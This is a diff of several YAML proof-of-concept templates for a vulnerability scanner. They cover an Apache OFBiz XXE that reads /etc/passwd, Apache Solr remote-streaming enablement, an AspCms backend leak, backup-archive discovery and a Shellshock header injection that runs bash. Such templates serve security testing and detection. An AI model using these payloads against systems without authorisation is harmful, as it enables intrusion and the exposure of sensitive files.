- https://nifi.apache.org/docs/nifi-docs/rest-api/index.html
@@ -1,4 +1,4 @@
name: poc-yaml-apacheofbiz-cve-2018-8033-xxe
name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe
rules:
- method: POST
path: /webtools/control/xmlrpc
@@ -8,8 +8,8 @@ rules:
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
follow_redirects: false
expression: >
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) && response.content_type.contains("text/xml")
response.status == 200 && response.content_type.contains("text/xml") && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
- https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
@@ -11,7 +11,7 @@ rules:
version="1.0"?><methodCall><methodName>{{rand}}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
-21
View File
@@ -1,21 +0,0 @@
name: poc-yaml-apache-solr-file-read
rules:
- method: GET
path: "/solr/admin/cores?indexInfo=false&wt=json"
search: |
"name":"(?P<core_name>.+?)",
expression:
response.status == 200
- method: POST
path: "/solr/{{core_name}}/config"
headers:
Content-type: application/json
body: |
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
expression: |
response.status == 200 && response.body.bcontains(b"This")
detail:
author: flyinbed
links:
- "https://mp.weixin.qq.com/s/iX2OasjynZ0MAvNTvIcmjg"
- "https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ"
+16
View File
@@ -0,0 +1,16 @@
name: poc-yaml-aspcms-backend-leak
rules:
- method: GET
path: /plug/oem/AspCms_OEMFun.asp
expression: |
response.status == 200 && "<script>alert".bmatches(response.body) && "top.location.href='(.*?)';".bmatches(response.body)
search: >-
(?P<path>(/(.*?).asp))
- method: GET
path: /{{path}}
expression: |
response.status == 200 && response.body.bcontains(b"username")
detail:
author: Hzllaga
links:
- https://www.onebug.org/wooyundata/65458.html
+64
View File
@@ -0,0 +1,64 @@
name: poc-yaml-backup-file
set:
host: request.url.domain
sets:
path:
- "sql"
- "www"
- "wwwroot"
- "index"
- "backup"
- "back"
- "data"
- "web"
- "db"
- "database"
- "ftp"
- "admin"
- "upload"
- "package"
- "sql"
- "old"
- "test"
- "root"
- "beifen"
- host
ext:
- "zip"
- "7z"
- "rar"
- "gz"
- "tar.gz"
- "db"
- "bak"
rules:
- method: GET
path: /{{path}}.{{ext}}
follow_redirects: false
continue: true
expression: |
response.content_type.contains("application/") &&
(response.body.startsWith("377ABCAF271C".hexdecode()) ||
response.body.startsWith("314159265359".hexdecode()) ||
response.body.startsWith("53514c69746520666f726d6174203300".hexdecode()) ||
response.body.startsWith("1f8b".hexdecode()) ||
response.body.startsWith("526172211A0700".hexdecode()) ||
response.body.startsWith("FD377A585A0000".hexdecode()) ||
response.body.startsWith("1F9D".hexdecode()) ||
response.body.startsWith("1FA0".hexdecode()) ||
response.body.startsWith("4C5A4950".hexdecode()) ||
response.body.startsWith("504B0304".hexdecode()) )
# - "377ABCAF271C" # 7z
# - "314159265359" # bz2
# - "53514c69746520666f726d6174203300" # SQLite format 3.
# - "1f8b" # gz tar.gz
# - "526172211A0700" # rar RAR archive version 1.50
# - "526172211A070100" # rar RAR archive version 5.0
# - "FD377A585A0000" # xz tar.xz
# - "1F9D" # z tar.z
# - "1FA0" # z tar.z
# - "4C5A4950" # lz
# - "504B0304" # zip
detail:
author: shadown1ng(https://github.com/shadown1ng)
+14
View File
@@ -0,0 +1,14 @@
name: poc-yaml-bash-cve-2014-6271
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
- method: GET
headers:
User-Agent: "() { :; }; echo; echo; /bin/bash -c 'expr {{r1}} + {{r2}}'"
follow_redirects: false
expression: response.body.bcontains(bytes(string(r1 + r2)))
detail:
author: neal1991(https://github.com/neal1991)
links:
- https://github.com/opsxcq/exploit-CVE-2014-6271

Some files were not shown because too many files have changed in this diff Show More